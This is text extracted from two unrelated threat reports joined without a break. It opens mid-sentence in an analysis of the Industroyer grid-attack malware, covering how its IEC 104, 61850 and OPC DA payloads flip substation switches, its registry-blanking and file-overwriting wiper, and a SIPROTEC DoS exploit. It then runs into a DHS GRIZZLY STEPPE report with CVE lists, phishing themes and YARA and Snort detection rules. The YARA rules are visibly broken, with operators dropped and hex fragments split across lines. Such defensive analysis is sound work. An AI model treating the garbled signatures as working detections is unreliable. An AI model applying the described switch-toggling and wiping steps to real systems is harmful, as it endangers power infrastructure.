in ASDU packet should be inverted during iterations command_type def or short or long or persist Specifies command pulse duration for qualifier of command (QOC) Property Expected value Purpose operation range or sequence or shift Specifies iteration type for Information Object Addresses (IOA) range Specific format of IOAs Specifies range of Information Object Addresses (IOA) sequence Specific format of IOAs Specifies sequence of Information Object Addresses (IOA) shift Specific formatof IOAs Specifies shift of Information Object Addresses (IOA) Once the configuration file is read, the 104 payload creates a thread for each STATION section defined in the configuration file  In each such thread, the 104 payload will attempt to communicate with the specified IP address using the protocol described in the IEC 104 standard  Before the connection is made, the 104 payload attempts to terminate the legitimate process that is normally responsible for IEC 104 communication with the device  It does so only if the stop_comm_service property is specified in its configuration  By default, the 104 payload terminates the process named D2MultiCommService.exe, or the process name specified in its configuration The main idea behind the 104 payload is relatively simple  It connects to the specified IP address and starts to send packets with the ASDU address that was defined in its configuration  The goal of this communication is to interact with an IOA of a single command type In the configuration file, the attacker can define the operation property to specify exactly how single command type IOAs will be iterated The first such operation mode is the range mode  The attackers use this mode in order to discover possible IOAs in the targeted device  The attackers have to take this approach because the protocol described in the IEC 104 standard does not provide a specific method to obtain such information Win32/Industroyer 9 The range mode has two stages  During the first stage, once the range of IOAs is obtained from the configuration file, the 104 payload connects to the target IP address and starts to iterate through the specified IOAs  To each such IOA the 104 payload sends select and execute packets in order to switch the state and to confirm whether the IOA belongs to the single command type Figure 9   An example of a 104 payload packet, after being dissected by Wireshark Once all possible IOAs from the specified range are iterated, the 104 payload switches to the second stage of range mode  If logging is enabled, the payload writes Startingonlysuccess to the log  The rest of this second stage is an infinite loop that uses the previously discovered IOAs of single command type  In the loop the payload constantly sends select and execute packets  In addition, if the option change is defined, the payload flips the On/Off state between loop steps Figure 10 demonstrates the log file that was produced by the 104 payload during our analysis  It shows the payload iterated IOAs from 10 to 15, and once IOAs of the single command type were discovered, the payload started to use them in the loop  The configuration had the change option enabled, so between loop iterations the payload flipped the switch value from On to Off and wrote it to the log Figure 10  Example log file produced by the 104 payload The second operation mode is the shift mode  This is very similar to the range mode  The attacker defines, in the configuration file, a range of IOAs and shift values  Once the 104 payload is activated it does everything the same way as in range mode however, once all IOAs in the defined range are iterated, it starts to iterate over the new range  The new range is calculated by adding the shift values to the default range values The third operation mode is the sequence mode  It can be used by attackers once they know the values of all IOAs of the single command type that are supported by the connected device  This payload immediately Win32/Industroyer 10 executes an infinite loop, sending select and execute packets to the IOAs defined in the configuration file Aside from its logging capability, the 104 payload can output debug information to the console, as seen in Figure 11 Figure 11  The console output of the 104 payload 61850 payload component Unlike the 101 and 104 payloads, this payload component exists as a standalone malicious tool comprising an executable named 61850.exe and the DLL61850.dll  It is named after the IEC 61850 standard  This standard describes a protocol used for multivendor communication among devices that perform protection, automation, metering, monitoring, and control of electrical substation automation systems  The protocol is very complex and robust, but the 61850 payload uses only a small subset of the protocol to produce its disruptive effect Once executed, the 61850 payload DLL attempts to read the configuration file, the path to which is supplied by the Launcher component  The standalone version defaults to reading its configuration fromi.ini  The configuration file is expected to contain a list of IP addresses of devices capable of communicating via the protocol described in the IEC 61850 standard If the configuration file is not present, then this component enumerates all connected network adaptors to determine their TCP/IP subnet masks  The 61850 payload then enumerates all possible IP addresses for each of these subnet masks, and tries to connect to port 102 on each of those addresses Therefore, this component has the ability to discover relevant devices in the network automatically Otherwise, if a configuration file is present and it contains target IP addresses, this component connects to port 102 on those IP addresses and on IP addresses that were discovered automatically Once this component connects to a target host, it sends a Connection Request packet using the Connection Oriented Transport Protocol, as seen in Figure 12 https://en.wikipedia.org/wiki/IEC_61850 Win32/Industroyer 11 Figure 12   A Connection Request packet, after dissection by Wireshark If the target device responds appropriately, the 61850 payload then sends an InitiateRequest packet using the Manufacturing Message Specification (MMS)  If the expected answer is received, it continues, sending an MMS getNameList request  Thereby, the component compiles a list of object names in a Virtual Manufacturing Device (VMD) Next, this component enumerates the objects discovered in the previous step and sends the device domain-specific getNameList requests with each object name  This enumerates named variables in a specific domain Figure 13  The dissected MMS getNameList request in Wireshark Afterwards, the 61850 payload parses data received in response to these requests, searching for variables that contain following combinations of strings: CSW, CF, Pos, and Model CSW, ST, Pos, and stVal CSW, CO, Pos, Oper, but not T CSW, CO, Pos, SBO, but not T The string CSW is a name for logical nodes, which are used to control circuit breakers and switches For variables that contain the Model or stVal string the 61850 payload sends an additional MMS Read request  For some of the variables this component may also issue an MMS Write request that will change its state https://en.wikipedia.org/wiki/Manufacturing_Message_Specification Win32/Industroyer 12 The 61850 payload produces a log file of its operations that contains the IP addresses, MMS domains, named variables and the node states (open or closed) of its targets OPC DA payload component The OPC DA payload component implements a client for the protocol described in the OPC Data Access specification  OPC (OLE for Process Control) is a software standard and specification that is based on Microsoft technologies such as OLE, COM, and DCOM  The Data Access (DA) part of the OPC specification allows real-time data exchange between distributed components, based on a clientserver model This component exists as a standalone malicious tool with the filename OPC.exe and a DLL, which implement both 61850 and OPC DA payload functionalities  This DLL is named, internally in PE export table, OPCClientDemo.dll, suggesting that the code of this component may be based on the open source project OPC Client Figure 14  The PE export reveals the internal DLL name of the OPC DA payload The OPC DA payload does not require any kind of configuration file Once executed by the attacker, it enumerates all OPC servers using the ICatInformation::EnumClassesOfCategories method with CATID_ OPCDAServer20 category identifier and IOPCServer::GetStatus to identify the ones running Next the component uses the IOPCBrowseServerAddressSpace interface to enumerate all OPC items on the server  Specifically, it looks for items that contain the following strings in their name: ctlSelOn ctlOperOn ctlSelOff ctlOperOff \Pos and stVal The names of these items may suggest that attackers are interested in OPC items provided by OPC servers that belong to solutions from ABB, such as their MicroSCADA range  Figure 15 demonstrates an example list of OPC items that contain names with similar strings  This list of OPC items is received by the OPC Process Objects List Tool from ABB Figure 15  An example of OPC items names in IN field received using OPC Process Objects List Tool https://en.wikipedia.org/wiki/OPC_Data_Access https://en.wikipedia.org/wiki/Open_Platform_Communications https://en.wikipedia.org/wiki/Open_Platform_Communications https://sourceforge.net/projects/opcclient/ http://new.abb.com/ http://new.abb.com/substation-automation/products/software/microscada-pro Win32/Industroyer 13 The attackers use the string Abdul when they add a new OPC group Possibly this string is used by the attackers as a slang term when referring to the ABB solutions Figure 16  The disassembled code of the OPC DA component that uses the Abdul string On the final step, the OPC DA payload attempts to change the state of discovered OPC items using the IOPCSyncIO interface by writing the 0x01 value twice Figure 17  Disassembled code of OPC DA payload that uses IOPCSyncIO interface The component writes the OPC server name, OPC item name state, quality code and value to the log file  The logged values are separated with the following headers: [ServerName: SERVERNAME] [State: Before] [ServerName: SERVERNAME] [State: After ON] [ServerName: SERVERNAME] [State: After OFF] Data wiper component The data wiper component is a destructive  module that is used in the final stage of an attack  The attackers are using this component to hide their tracks and to make recovery difficult This component has the filename haslo.dat or haslo.exe and can be executed by the Launcher component or used as a standalone malicious tool Once executed it attempts to enumerate all keys in the registry that list Windows services: HKEY_LOCAL_MACHINE\SYSTEM\CurrentControlSet\Services It attempts to set the registry value ImagePath with an empty string in each of the entries found  This operation will make the operating system unbootable The next step is actual deletion of file contents  The component enumerates files with specific file extensions on all drives connected to computer, from C:\ to Z:\  It should be noted that during enumeration the component skips files that are located in subdirectory that contains Windows in its name The component rewrites file content with meaningless data obtained from newly allocated memory  In order to perform this operation thoroughly the component attempts to rewrite files twice  The first attempt happens once the file is found on a drive  If the first attempt is unsuccessful then the wiper malware makes a second attempt, but before that the malware terminates Win32/Industroyer 14 all processes except those included in a list of critical system processes  The list of these processes is displayed in Figure 18 To speed up the wiping operation this component rewrites only partial file content at the beginning of the file  The amount of data to be rewritten depends on file size: the smallest amount of data will be rewritten for files less than or equal to 1Mb (4096 bytes) the largest amount of data will be rewritten for files less than or equal to 10Mb (32768 bytes) Finally, this component attempts to terminate all processes (including system processes) except its own  This will result in the system becoming unresponsive and eventually crashing Figure 18  List of processes that are not terminated on second rewriting attempt The filename masks targeted by the data wiper component to be overwritten are: SYS_BASCON COM  pcmi  bk v  pcmt  bkp PL  ini  log paf  xml  zip XRF  CIN  rar trc  prj  tar SCL  cxm  7z bak  elb  exe cid  epl  dll scd  mdf pcmp  ldf This list contains filename extensions that are used in a standard environment, such as Windows binaries ( exe/ dll), archives ( 7z / tar/ rar/ zip), backup files ( bak/ bk/ bkp), Microsoft SQL server files ( mdf/ ldf), and various configuration files ( ini/ xml)  In addition, the component also wipes files that may be used in industrial control systems, such as files written using Substation Configuration description Language ( scl/ cid/ scd) and there are many files and file extensions that are used by various products from ABB  For example, a file named SYS_BASCON.COM is used by ABB solutions for storing configuration data, and files with the .paf(Product AuthorizationFile) filename extension are used to store license data for ABB MicroSCADA products Additional tools: port scanner tool The attackers arsenal includes a port scanner that can be used to map the network and to find computers relevant to their attack  Interestingly, instead of using software already existing, the attackers built their own custom-made port scanner  As is evident from Figure 19, the attacker can define a range of IP addresses and a range of network ports that are to be scanned by this tool Figure 19  The port scanner tool usage example https://en.wikipedia.org/wiki/Substation_Configuration_Language Win32/Industroyer 15 Additional tools: DoS tool Another tool from the attackers arsenal is a Denial-of-Service (DoS) tool that can be used against Siemens SIPROTEC devices  This tool leverages the CVE-2015-5374 vulnerability in order to render a device unresponsive Once this vulnerability is successfully exploited, the target device stops responding to any commands until it is rebooted manually To exploit this vulnerability the attackers hardcoded the device IP addresses into this tool  Once the tool is executed it sends specifically crafted packets to port 50,000 of the target IP addresses using UDP  The UDP packet contains only 18 bytes Figure 20  Content of UDP packet used during exploitation of CVE-2015-5374 Conclusion The investigation behind the Ukrainian power outage last December is still ongoing and it is currently not confirmed that the malware analyzed here was the direct cause  Nevertheless, we believe that to be a very probable explanation, as the malware is able to directly control switches and circuit breakers at power grid substations using four ICS protocols and contains an activation timestamp for December 17, 2016, the day of the power outage We can definitely say that the Win32/Industroyer malware family is an advanced and sophisticated piece of malware that is used against industrial control systems  However, it should be noted that the malware itself is just a tool in the hands of an even more advanced and very capable malicious actor  Using logs produced by the toolset and highly configurable payloads, the attackers could adapt the malware to any comparable environment The commonly-used industrial control protocols used in this malware were designed decades ago without taking security into consideration Therefore, any intrusion into an industrial network with systems using these protocols should be considered as game over Indicators of Compromise (IoC) SHA-1 hashes: F6C21F8189CED6AE150F9EF2E82A3A57843B587D CCCCE62996D578B984984426A024D9B250237533 8E39ECA1E48240C01EE570631AE8F0C9A9637187 2CB8230281B86FA944D3043AE906016C8B5984D9 79CA89711CDAEDB16B0CCCCFDCFBD6AA7E57120A 94488F214B165512D2FC0438A581F5C9E3BD4D4C 5A5FAFBC3FEC8D36FD57B075EBF34119BA3BFF04 B92149F046F00BB69DE329B8457D32C24726EE00 B335163E6EB854DF5E08E85026B2C3518891EDA8 IP addresses of CC servers: 195.16.88[.
]6 46.28.200[.
]132 188.42.253[.
]43 5.39.218[.
]152 93.115.27[.
]57 Warning Most of the servers with these IP addresses were part of Tor network which means that the use of these indicators could result in a false positive match https://ics-cert.us-cert.gov/advisories/ICSA-15-202-01 Win32/Industroyer: a new threat for industrial control systems Main backdoor Additional backdoor Launcher component 101 payload component 104 payload component 61850 payload component OPC DA payload component Data wiper component Additional tools: port scanner tool Additional tools: DoS tool Conclusion Indicators of Compromise (IoC)
TLP:WHITE 1 of 56  1 of 56  TLP:WHITE ANALYSIS REPORT DISCLAIMER: This report is provided as is for informational purposes only.
The Department of Homeland Security (DHS) does not provide any warranties of any kind regarding any information contained within.
DHS does not endorse any commercial product or service referenced in this advisory or otherwise.
This document is distributed as TLP:WHITE: Subject to standard copyright rules, TLP:WHITE information may be distributed without restriction.
For more information on the Traffic Light Protocol, see https://www.us-cert.gov/tlp.
Reference Number: AR-17-20045 February 10, 2017 Enhanced Analysis of GRIZZLY STEPPE Activity Executive Summary The Department of Homeland Security (DHS) National Cybersecurity and Communications Integration Center (NCCIC) has collaborated with interagency partners and private-industry stakeholders to provide an Analytical Report (AR) with specific signatures and recommendations to detect and mitigate threats from GRIZZLY STEPPE actors.
Contents Executive Summary ...................................................................................................................................... 1 Recommended Reading about GRIZZLY STEPPE ..................................................................................... 2 Utilizing Cyber Kill Chain for Analysis ....................................................................................................... 4 Reconnaissance ......................................................................................................................................... 4 Weaponization .......................................................................................................................................... 5 Delivery .................................................................................................................................................... 5 Exploitation ............................................................................................................................................... 5 Installation................................................................................................................................................. 6 Command and Control .............................................................................................................................. 6 Actions on the Objective ........................................................................................................................... 6 Detection and Response ................................................................................................................................ 7 APPENDIX A: APT28 ................................................................................................................................. 8 APPENDIX B: APT29 ............................................................................................................................... 42 APPENDIX C: Mitigations Guidance ........................................................................................................ 50 Defending Against Webshell Attacks ..................................................................................................... 50 Defending Against Spear Phishing Attacks ............................................................................................ 52 APPENDIX D: Malware Initial Findings Report (MIFR)-10105049 UPDATE 2 ..................................... 55 National Cybersecurity and Communications Integration Center https://www.us-cert.gov/tlp TLP:WHITE 2 of 56  2 of 56  TLP:WHITE Recommended Reading about GRIZZLY STEPPE DHS recommends reading multiple bodies of work concerning GRIZZLY STEPPE.
While DHS does not endorse any particular company or their findings, we believe the breadth of literature created by multiple sources enhances the overall understanding of the threat.
DHS encourages analysts to review these resources to determine the level of threat posed to their local network environments.
DHS Resources JAR-16-20296 provides technical details regarding the tools and infrastructure used by the Russian civilian and military intelligence Services (RIS) to compromise and exploit networks and endpoints associated with the U.S. election, as well as a range of U.S. Government, political, and private sector entities.
JAR-16-20296 remains a useful resource for understanding APT28 and APT29 use of the cyber kill chain and exploit targets.
Additionally, JAR-16-20296 discusses some of the differences in activity between APT28 and APT29.
This AR primarily focuses on APT28 and APT29 activity from 2015 through 2016.
DHS Malware Initial Findings Report (MIFR)-10105049 UPDATE 2 was updated January 27, 2017 to provide additional analysis of the artifacts identified in JAR 16-20296.
The artifacts analyzed in this report include 17 PHP files, 3 executables and 1 RTF file.
The PHP files are web shells designed to provide a remote user an interface for various remote operations.
The RTF file is a malicious document designed to install and execute a malicious executable.
However, DHS recommends that analysts read the MIFR in full to develop a better understanding of how the GRIZZLY STEPPE malware executes on a system, which, in turn, downloads additional malware and attempts to extract cached passwords.
The remaining two executables are Remote Access Tools (RATs) that collect host information, including digital certificates and private keys, and provide an actor with remote access to the infected system.
Open Source Several cyber security and threat research firms have written extensively about GRIZZLY STEPPE.
DHS encourages network defenders, threat analysts, and general audiences to review publicly available information to develop a better understanding of the tactics, techniques, and procedures (TTPs) of APT28 and APT29 and to potentially mitigate against GRIZZLY STEPPE activity.
The below examples do not constitute an exhaustive list.
The U.S. Government does not endorse or support any particular product or vendor.
https://www.us-cert.gov/security-publications/GRIZZLY-STEPPE-Russian-Malicious-Cyber-Activity TLP:WHITE 3 of 56  3 of 56  TLP:WHITE Source Title Group Crowdstrike Bears in the Midst: Intrusion into the DNC APT28/2 9 ESET En Route with Sednit version 1.0 APT28 ESET Visiting The Bear Den APT28 FireEye APT28: A Window Into Russias Cyber Espionage Operations?
APT28 FireEye HAMMERTOSS: Stealthy Tactics Define a Russian Cyber Threat Group APT29 FireEye APT28: At the Center of the Storm - Russia strategically evolves its cyber operations APT28 F-Secure BlackEnergy  Quedagh the convergence of crimeware and APT attacks, TLP: WHITE APT28 F-Secure The Dukes 7 years of Russian cyberespionage APT29 F-Secure COSMICDUKE: Cosmu with a twist of MiniDuke APT29 F-Secure OnionDuke: APT Attacks Via the Tor Network  APT29 F-Secure COZYDUKE APT29 Kaspersky Sofacy APT hits high profile targets with updated toolset APT28 Crysys Miniduke: Indicators APT29 Palo Alto Networks DealersChoice is Sofacys Flash Player Exploit Platform APT28 Palo Alto Networks Sofacys Komplex OS X Trojan APT28 Palo Alto Networks The Dukes RD Finds a New Anti-Analysis Technique - Palo Alto Networks Blog APT29 Palo Alto Networks Tracking MiniDionis: CozyCars New Ride Is Related to Seaduke APT29 PwC APT28: Sofacy?
So-funny APT28 PwC Cyber Threat Operations: Tactical Intelligence Bulletin - Sofacy Phishing APT28 Securelist The CozyDuke APT APT29 SecureWorks Threat Group-4127 Targets Hillary Clinton Presidential Campaign APT28 ThreatConnect ThreatConnect and Fidelis Team Up to Explore the DCCC Breach APT28 ThreatConnect ThreatConnect follows Guccifer 2.0 to Russian VPN Service APT28 ThreatConnect ThreatConnect Identifies Additional Infrastructure in DNC Breach APT28/2 9 ThreatConnect Belling the BEAR APT28 ThreatConnect Can a BEAR Fit Down a Rabbit Hole?
APT28 Trend Micro Operation Pawn Storm Using Decoys to Evade Detection APT28 Trend Micro Pawn Storm Ramps Up Spear-phishing Before Zero-Days Get Patches APT28 Volexity PowerDuke: Widespread Post-Election Spear Phishing Campaigns Targeting Think Tanks and NGOs APT29 Trend Micro Operation Pawn Storm: Fast Facts and the Latest Developments ATP 29 ESET En Route with Sednit - Part 2: Observing the Comings and Goings ATP 28 TLP:WHITE 4 of 56  4 of 56  TLP:WHITE Utilizing Cyber Kill Chain for Analysis DHS analysts leverage the Cyber Kill Chain model to analyze, discuss, and dissect malicious cyber activity.
The phases of the Cyber Kill Chain are Reconnaissance, Weaponization, Delivery, Exploitation, Installation, Command and Control, and Actions on the Objective.
This section will provide a high-level overview of GRIZZLY STEPPE activity within this framework.
Reconnaissance GRIZZLY STEPPE actors use various reconnaissance methods to determine the best attack vector for compromising their targets.
These methods include network vulnerability scanning, credential harvesting, and using doppelganger (also known as typo-squatting) domains to target victim organizations.
The doppelganger domains can be used for reconnaissance when users incorrectly type in the web address in a browser or as part of delivery as a URL in the body of a phishing emails.
DHS recommends that network defenders review and monitor their networks for traffic to sites that look similar to their own domains.
This can be an indicator of compromise that should trigger further research to determine whether a breach has occurred.
Often, these doppelganger sites are registered to suspicious IP addresses.
For example, a site pretending to be an organizations User Log In resolving to a TOR node IP address may be considered suspicious and should be researched by the organizations security operations center (SOC) for signs of users navigating to that site.
Because these doppelganger sites normally mimic the targeted victims domain, they were not included in JAR-16-20296.
Before the 2016 U.S. election, DHS observed network scanning activity that is known as reconnaissance.
The IPs identified performed vulnerability scans attempting to identify websites that are vulnerable to cross-site scripting (XSS) or Structured Query Language (SQL) injection attacks.
When GRIZZLY STEPPE actors identify a vulnerable site, they can then attempt to exploit the identified vulnerabilities to gain access to the targeted network.
Network perimeter scans are often a precursor to network attacks and DHS recommends that security analysts identify the types of scans carried out against their perimeters.
This information can aid security analysts in identifying and patching vulnerabilities in their systems.
Another common method used by GRIZZLY STEPPE is to host credential-harvesting pages as seen in Step 4 and Step 5 of the GRIZZLY STEPPE attack lifecycle graphic.
This technique includes hosting a temporary website in publicly available infrastructure (i.e., neutral space) that users are directed to via spear-phishing emails.
Users are tricked into entering their credentials in these temporary sites, and GRIZZLY STEPPE actors gain legitimate credentials for users on the targeted network.
TLP:WHITE 5 of 56  5 of 56  TLP:WHITE Weaponization GRIZZLY STEPPE actors have excelled at embedding malicious code into a number of file types as part of their weaponization efforts.
In 2014, it was reported that GRIZZLY STEPPE actors were wrapping legitimate executable files with malware (named OnionDuke) to increase the chance of bypassing security controls.
Since weaponization actions occur within the adversary space, there is little that can be detected by security analysts during this phase.
APT28 and APT29 weaponization methods have included: Code injects in websites as watering hole attacks Malicious macros in Microsoft Office files Malicious Rich Text Format (RTF) files with embedded malicious flash code Delivery As described in JAR-16-20296 and numerous publicly available resources, GRIZZLY STEPPE actors traditionally use spear-phishing emails to deliver malicious attachments or URLs that lead to malicious payloads.
DHS recommends that network defenders conduct analysis of their systems to identify potentially malicious emails involving variations on GRIZZLY STEPPE themes.
Inbound emails subjects should be reviewed for the following commonly employed titles, text, and themes: efax, e-Fax, efax 100345 (random sequence of numbers) PDF, PFD, Secure PDF Topics from current events (e.g., European Parliament statement on) Fake Microsoft Outlook Web Access (OWA) log-in emails Invites for cyber threat events Additionally, GRIZZLY STEPPE actors have infected pirated software in torrent services and leveraged TOR exit nodes to deliver to malware since at least 2014.
These actors are capable of compromising legitimate domains and services to host and deliver malware in an attempt to obscure their delivery methods.
DHS notes that the majority of TOR traffic is not GRIZZLY STEPPE activity.
The existence of a TOR IP in a network log only indicates that network administrators should review the related traffic to determine if it is legitimate activity for that specific environment.
Exploitation GRIZZLY STEPPE actors have developed malware to exploit a number of Common Vulnerability and Exposures (CVEs).
DHS assesses that these actors commonly target Microsoft Office exploits due to the high likelihood of having this software installed on the targeted hosts.
TLP:WHITE 6 of 56  6 of 56  TLP:WHITE While not all-encompassing, the following CVEs have been targeted by GRIZZLY STEPPE actors in past attacks.
CVE-2016-7855: Adobe Flash Player Use-After-Free Vulnerability CVE-2016-7255: Microsoft Windows Elevation of Privilege Vulnerability CVE-2016-4117: Adobe Flash Player Remoted Attack Vulnerability CVE-2015-1641: Microsoft Office Memory Corruption Vulnerability CVE-2015-2424: Microsoft PowerPoint Memory Corruption Vulnerability CVE-2014-1761: Microsoft Office Denial of Service (Memory Corruption) CVE-2013-2729: Integer Overflow in Adobe Reader and Acrobat vulnerability CVE-2012-0158: ActiveX Corruption Vulnerability for Microsoft Office CVE-2010-3333: RTF Stack Buffer Overflow Vulnerability for Microsoft Office CVE-2009-3129: Microsoft Office Compatibility Pack for Remote Attacks Installation GRIZZLY STEPPE actors have leveraged several different types of implants in the past.
Analysts can research these implants by reviewing open-source reporting on malware families including Sofacy, and Onion Duke.
Recently, DHS analyzed 17 PHP files, 3 executables, and 1 RTF file attributed to GRIZZLY STEPPE actors and the findings are located in MIFR- 10105049-Update2 (updated on 1/26/2017).
The PHP files are web shells designed to provide a user interface for various remote operations.
The RTF file is a malicious document designed to install and execute a malicious executable.
DHS recommends that security analysts review their systems for unauthorized web shells.
Command and Control GRIZZLY STEPPE actors leverage their installed malware through Command and Control (C2) infrastructure, which they traditionally develop via compromised sites and publicly available infrastructure, such as TOR.
C2 IOCs are traditionally the IP addresses or domains that are leveraged to send and receive commands to and from malware implants.
Actions on the Objective GRIZZLY STEPPE actors have leveraged their malware in multiple campaigns with various end goals.
GRIZZLY STEPPE actors are capable of utilizing their malware to conduct extensive data exfiltration of sensitive files, emails, and user credentials.
Security operation center (SOC) analysts may be able to detect actions on the objective before data exfiltration occurs by looking for signs of files and user credential movement within their network.
https://web.nvd.nist.gov/view/vuln/detail?vulnIdCVE-2016-7855 https://web.nvd.nist.gov/view/vuln/detail?vulnIdCVE-2016-7255 https://web.nvd.nist.gov/view/vuln/detail?vulnIdCVE-2016-4117 https://web.nvd.nist.gov/view/vuln/detail?vulnIdCVE-2015-1641 https://web.nvd.nist.gov/view/vuln/detail?vulnIdCVE-2015-2424 https://web.nvd.nist.gov/view/vuln/detail?vulnIdCVE-2014-1761 https://web.nvd.nist.gov/view/vuln/detail?vulnIdCVE-2013-2729 https://web.nvd.nist.gov/view/vuln/detail?vulnIdCVE-2012-0158 https://web.nvd.nist.gov/view/vuln/detail?vulnIdCVE-2010-3333 https://web.nvd.nist.gov/view/vuln/detail?vulnIdCVE-2009-3129 TLP:WHITE 7 of 56  7 of 56  TLP:WHITE Detection and Response The appendixes of this Analysis Report provide detailed host and network signatures to aid in detecting and mitigating GRIZZLY STEPPE activity.
This information is broken out by actor and implant version whenever possible.
MIFR-10105049 UPDATE2 provides additional YARA rules and IOCs associated with APT28 and APT29 actors.
Contact Information Recipients of this report are encouraged to contribute any additional information that they may have related to this threat.
For any questions related to this report, please contact NCCIC at: Phone: 1-703-235-8832 Email: ncciccustomerservicehq.dhs.gov Feedback DHS strives to make this report a valuable tool for our partners and welcome feedback on how this publication could be improved.
You can help by answering a few short questions about this report at the following URL: https://www.us-cert.gov/forms/feedback mailto:ncciccustomerservicehq.dhs.gov https://www.us-cert.gov/forms/feedback TLP:WHITE 8 of 56  8 of 56  TLP:WHITE APPENDIX A: APT28 This section describes six implants associated with APT28 actors.
Included are YARA rules as well as SNORT signatures.
Despite the use of sound production rules, there is still the chance for false positives.
In addition, these will complement additional analysis and should not be used as the sole source of attribution.
The following YARA rules detect Downrage, referred to as IMPLANT 1 with rule naming convention.
These rules will also detect X-AGENT/CHOPSTICK, which shares characteristics with DOWNRAGE.
Rule IMPLANT_1_v1  strings: STR1  6A ?
?
E8 ?? ?
?
FF FF 59 85 C0 74 0B 8B C8 E8 ?? ?
?
FF FF 8B F0 EB 02 33 F6 8B CE E8 ?? ?
?
FF FF 85 F6 74 0E 8B CE E8 ?? ?
?
FF FF 56 E8 ?? ?
?
FF FF 59 condition: (uint16(0)  0x5A4D) and all of them  Rule IMPLANT_1_v2  strings: STR1  83 3E 00 53 74 4F 8B 46 04 85 C0 74 48 83 C0 02 50 E8 ?? ?
?
00 00 8B D8 59 85 DB 74 38 8B 4E 04 83 F9 FF 7E 21 57 STR2  55 8B EC 8B 45 08 3B 41 08 72 04 32 C0 EB 1B 8B 49 04 8B 04 81 80 78 19 01 75 0D FF 70 10 FF [5] 85 C0 74 E3 condition: (uint16(0)  0x5A4D) and any of them  TLP:WHITE 9 of 56  9 of 56  TLP:WHITE Rule IMPLANT_1_v3  strings: rol7encode   0F B7 C9 C1 C0 07 83 C2 02 33 C1 0F B7 0A 47 66 85 C9 75 condition: (uint16(0)  0x5A4D or uint16(0)  0xCFD0 or uint16(0)  0xC3D4 or uint32(0) 0x46445025 or uint32(1)  0x6674725C) and all of them  Rule IMPLANT_1_v4  strings: XOR_LOOP   8B 45 FC 8D 0C 06 33 D2 6A 0B 8B C6 5B F7 F3 8A 82 ??
??
?? ?
?
32 04 0F 46 88 01 3B 75 0C 7C E0 condition: (uint16(0)  0x5A4D) and all of them  Rule IMPLANT_1_v5  strings: drivername   6A 30 ?
?
6A 33 [5] 6A 37 [5] 6A 32 [5] 6A 31 [5] 6A 77 [5] 6A 69 [5] 6A 6E [5] 6A 2E [5] 6A 73 [5-9] 6A 79 [5] 6A 73 mutexname   C7 45 ?
?
2F 2F 64 66 C7 45 ?
?
63 30 31 65 C7 45 ?
?
6C 6C 36 7A C7 45 ?
?
73 71 33 2D C7 45 ?
?
75 66 68 68 66 C7 45 ?
?
66 condition: (uint16(0)  0x5A4D or uint16(0)  0xCFD0 or uint16(0)  0xC3D4 or uint32(0) 0x46445025 or uint32(1)  0x6674725C) and any of them TLP:WHITE 10 of 56  10 of 56  TLP:WHITE  Rule IMPLANT_1_v6  strings: XORopcodes_eax   35 (22 07 15 0e56 d7 a7 0a) XORopcodes_others   81 (f1f2f3f4f5f6f7) (22 07 15 0e56 d7 a7 0a) condition: (uint16(0)  0x5A4D or uint16(0)  0xCFD0 or uint16(0)  0xC3D4 or uint32(0) 0x46445025) and any of them  Rule IMPLANT_1_v7  strings: XOR_FUNCT   C7 45 ??
?? ?
?
00 10 8B 0E 6A ?
?
FF 75 ?
?
E8 ?? ?
?
FF FF condition: (uint16(0)  0x5A4D) and all of them  Network Indicators for Implant 1 alert tcp HOME_NET any - EXTERNAL_NET HTTP_PORTS (msg:Downrage_HTTP_C2 flow:established,to_server content:POST http_method content: content:20HTTP/1.1 fast_pattern distance:19 within:10 pcre:/\/(?:[a-zA-Z0-9]2,6\/)2,5[a-zA-Z0-9]1,7\.
[A-Za-z0- 9\\-\_\.]\/\?
[a-zA-Z0-9]1,3[a-zA-Z0-9\/]19/I) The following YARA rules detect CORESHELL/SOURFACE, referred to as IMPLANT 2 with rule naming convention.
IMPLANT 2 Rules: TLP:WHITE 11 of 56  11 of 56  TLP:WHITE Rule IMPLANT_2_v1  strings: STR1   8d ?
?
fa [2] e8 [2] FF FF C7 [2-5] 00 00 00 00 8D [2-5] 5?
6a 00 6a 01 condition: (uint16(0)  0x5A4D) and all of them  Rule IMPLANT_2_v2  strings: STR1   83 ?
?
06 [7-17] fa [0-10] 45 [2-4] 48 [2-4] e8 [2] FF FF [6-8] 48 8d [3] 48 89 [3] 45 [2] 4?
[
1-2] 01 condition: (uint16(0)  0x5A4D) and all of them  Rule IMPLANT_2_v3  strings: STR1  c1eb078d??01321c?
?33d2 STR2  2b??83??060f83?
?000000eb0233 STR3  89????89????8955??8945??3b??0f83??0000008d????8d???
?fe condition: (uint16(0)  0x5A4D) and any of them  TLP:WHITE 12 of 56  12 of 56  TLP:WHITE Rule IMPLANT_2_v4  strings: STR1  55 8b ec 6a fe 68 [4] 68 [4] 64 A1 00 00 00 00 50 83 EC 0C 53 56 57 A1 [4] 31 45 F8 33 C5 50 8D 45 F0 64 A3 00 00 00 00 [8-14] 68 [4] 6a 01 [1-2] FF 15 [4] FF 15 [4] 3D B7 00 00 00 75 27 condition: (uint16(0)  0x5A4D) and all of them  Rule IMPLANT_2_v5  strings: STR1  48 83 [2] 48 89 [3] c7 44 [6] 4c 8d 05 [3] 00 BA 01 00 00 00 33 C9 ff 15 [2] 00 00 ff 15 [2] 00 00 3D B7 00 00 00 75 ?
?
48 8D 15 ?
?
00 00 00 48 8B CC E8 condition: (uint16(0)  0x5A4D) and all of them  Rule IMPLANT_2_v6  strings: STR1   e8 [2] ff ff 8b [0-6] 00 04 00 00 7F ??
[
1-2] 00 02 00 00 7F ??
[
1-2] 00 01 00 00 7F ??
[
1-2] 80 00 00 00 7F ?
?
83 ?
?
40 7F condition: (uint16(0)  0x5A4D) and all of them  Rule IMPLANT_2_v7 TLP:WHITE 13 of 56  13 of 56  TLP:WHITE  strings: STR1  0a0fafd833d28d41fff775?
?
8b450cc1eb078d7901321c0233d28bc7895de4bb06000000f7f38b450c8d59fe025dff321c028bc133d2b90 6000000f7f18b450c8bcf221c028b45e48b55e008d41fe83f8068b45??72??8b4d?
?8b STR2  8d9b000000000fb65c0afe8d34028b45?
?
03c20fafd88d7a018d42ff33d2f775??c1eb078bc7321c0a33d2b906000000f7f18a4d?
?
8b450c80e902024d??320c028b45??33d2f775?
?
8b450c220c028bd702d9301e8b4d0c8d42fe3b45e88b45??8955?
?72a05f5e5b8be55dc20800 condition: (uint16(0)  0x5A4D) and any of them  Rule IMPLANT_2_v8  strings: STR1  8b??448944246041f7e08bf2b8abaaaaaac1ee0289742458448b??41f7?
?
8bcaba03000000c1e902890c248d044903c0442b??4489??24043bf10f83?
